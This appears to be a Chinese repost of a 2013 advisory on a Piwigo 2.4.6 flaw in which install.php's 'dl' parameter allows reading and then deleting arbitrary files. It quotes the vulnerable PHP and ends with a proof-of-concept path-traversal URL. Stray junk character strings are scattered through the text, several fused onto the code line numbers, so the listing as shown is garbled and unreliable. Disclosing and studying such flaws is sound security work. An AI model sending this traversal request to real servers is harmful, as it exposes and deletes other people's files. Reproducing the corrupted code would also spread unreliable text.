Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。
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Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
; W6 A* Y; G! ^9 Q' T- t====================================================================
/install.php:
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113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
2 _; g3 H5 m6 T5 R117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
$ N1 B3 }; Q; S* ~" V8 M7 T120:   header('Content-Length: '.filesize($filename));
5 B1 k: n1 r# ?7 Z121:   echo file_get_contents($filename);
122:   unlink($filename);
) L, M; y7 T7 H123:   exit();
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+ j  s; T8 F, Y8 l9 K6 o====================================================================

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
+ I$ K. }9 U% R2 f$ a# R1 C           Apache 2.4.2 (Win32)
           PHP 5.4.4
: a6 u, P9 Z. X+ ]           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
. o+ ?$ L! k7 c6 r  C4 X                            @zeroscience

Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
/ A7 r0 p& X4 u9 bVendor Patch: http://piwigo.org/bugs/view.php?id=2843

: u7 R% `# U( g# v15.02.2013

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http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt